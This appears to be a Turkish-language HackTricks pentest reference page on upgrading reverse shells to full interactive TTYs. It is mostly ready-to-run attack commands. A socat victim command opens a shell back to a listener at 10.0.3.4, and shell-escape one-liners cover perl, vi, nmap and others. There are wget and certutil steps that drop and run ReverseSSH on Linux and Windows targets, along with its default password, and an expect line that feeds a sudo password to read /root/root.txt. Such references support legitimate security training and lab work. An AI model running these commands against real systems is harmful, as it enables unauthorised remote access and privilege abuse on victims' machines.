hacktricks/generic-methodologies-and-resources/reverse-shells/full-ttys.md

6 KiB
Raw Blame History

Full TTYs

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Full TTY

SHELL değişkeninde ayarladığınız shell'in mutlaka /etc/shells içinde listelenmiş olması gerektiğini unutmayın veya SHELL değişkeni için değer /etc/shells dosyasında bulunamadı. Bu olay rapor edildi mesajını alırsınız. Ayrıca, sonraki kod parçalarının yalnızca bash'te çalıştığını unutmayın. Eğer zsh'deyseniz, shell'i elde etmeden önce bash komutunu çalıştırarak bash'e geçin.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} stty -a komutunu çalıştırarak satır ve sütun sayısını alabilirsiniz. {% endhint %}

script

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Shell'leri Başlatma

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

Etkileşimli shell erişimi, dosya transferleri ve port yönlendirmesi için uygun bir yol, statik bağlantılı ssh sunucusu ReverseSSH'yi hedefe bırakmaktır.

Aşağıda x86 için upx sıkıştırılmış ikili dosyalarla bir örnek bulunmaktadır. Diğer ikili dosyalar için sürümler sayfasını kontrol edin.

  1. ssh port yönlendirme isteğini yakalamak için yerel olarak hazırlanın:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux hedef:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Windows 10 hedefi (daha eski sürümler için proje readme kontrol edin):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, reverse-ssh(.exe)'yi çalıştıran kullanıcının bağlamında varsayılan şifre letmeinbrudipls ile giriş yapabilmelisiniz:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

No TTY

Eğer bir sebepten dolayı tam bir TTY elde edemiyorsanız, yine de kullanıcı girişi bekleyen programlarla etkileşimde bulunabilirsiniz. Aşağıdaki örnekte, şifre sudo'ya bir dosyayı okumak için iletiliyor:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}